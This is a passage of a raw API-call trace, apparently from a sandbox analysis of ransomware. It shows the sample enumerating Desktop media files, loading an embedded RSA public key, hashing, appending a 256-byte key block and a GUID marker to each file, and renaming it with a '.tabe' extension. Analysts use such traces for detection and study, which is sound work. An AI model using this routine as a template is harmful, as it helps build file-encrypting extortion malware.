KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.164] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.164] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.165] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.165] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.165] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.165] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.165] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.165] GetLastError () returned 0x0 [0126.165] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.165] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.165] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.165] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.166] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.166] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.166] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x39d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.166] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.166] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.166] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.166] CloseHandle (hObject=0x618) returned 1 [0126.167] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OqjEf f9z.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oqjef f9z.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OqjEf f9z.wav.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oqjef f9z.wav.tabe")) returned 1 [0126.168] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed721fd0, ftCreationTime.dwHighDateTime=0x1d5dd96, ftLastAccessTime.dwLowDateTime=0x4f9aa840, ftLastAccessTime.dwHighDateTime=0x1d5df49, ftLastWriteTime.dwLowDateTime=0x4f9aa840, ftLastWriteTime.dwHighDateTime=0x1d5df49, nFileSizeHigh=0x0, nFileSizeLow=0x16a71, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Oxw27.m4a", cAlternateFileName="")) returned 1 [0126.168] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oxw27.m4a") returned=".m4a" [0126.168] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oxw27.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oxw27.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.168] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=92785) returned 1 [0126.168] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.169] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16a4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.169] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.178] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x16a71, lpOverlapped=0x0) returned 1 [0126.179] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.179] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.179] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.179] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.180] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.180] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.180] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.180] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.180] GetLastError () returned 0x0 [0126.180] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.180] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.181] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.181] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.181] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.181] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.182] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16a71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.182] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.182] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.182] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.182] CloseHandle (hObject=0x618) returned 1 [0126.184] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oxw27.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oxw27.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oxw27.m4a.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oxw27.m4a.tabe")) returned 1 [0126.186] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d2160, ftCreationTime.dwHighDateTime=0x1d5dd68, ftLastAccessTime.dwLowDateTime=0x5128d280, ftLastAccessTime.dwHighDateTime=0x1d5e611, ftLastWriteTime.dwLowDateTime=0x5128d280, ftLastWriteTime.dwHighDateTime=0x1d5e611, nFileSizeHigh=0x0, nFileSizeLow=0xea1e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="polYSVkiJ0.jpg", cAlternateFileName="POLYSV~1.JPG")) returned 1 [0126.186] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\polYSVkiJ0.jpg") returned=".jpg" [0126.186] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\polYSVkiJ0.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\polysvkij0.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.186] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=59934) returned 1 [0126.186] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.187] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe9f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.187] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.188] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xea1e, lpOverlapped=0x0) returned 1 [0126.188] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.188] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.188] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.188] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.189] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.189] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.189] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.189] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.189] GetLastError () returned 0x0 [0126.189] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.189] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.189] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.189] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.189] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.190] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.190] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xea1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.190] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.190] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.190] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.190] CloseHandle (hObject=0x618) returned 1 [0126.191] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\polYSVkiJ0.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\polysvkij0.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\polYSVkiJ0.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\polysvkij0.jpg.tabe")) returned 1 [0126.193] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe883ee0, ftCreationTime.dwHighDateTime=0x1d5e370, ftLastAccessTime.dwLowDateTime=0x16492170, ftLastAccessTime.dwHighDateTime=0x1d5df8a, ftLastWriteTime.dwLowDateTime=0x16492170, ftLastWriteTime.dwHighDateTime=0x1d5df8a, nFileSizeHigh=0x0, nFileSizeLow=0x6696, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="qbFQavKzY7DOO2Fa3.png", cAlternateFileName="QBFQAV~1.PNG")) returned 1 [0126.193] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qbFQavKzY7DOO2Fa3.png") returned=".png" [0126.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qbFQavKzY7DOO2Fa3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qbfqavkzy7doo2fa3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.193] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=26262) returned 1 [0126.194] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.195] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.195] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.195] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x6696, lpOverlapped=0x0) returned 1 [0126.195] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.195] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.196] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.196] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0126.196] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.196] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.196] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.196] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.196] GetLastError () returned 0x0 [0126.196] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.196] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0126.197] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.197] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.197] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.197] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.197] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6696, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.197] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.197] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.197] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.197] CloseHandle (hObject=0x618) returned 1 [0126.198] 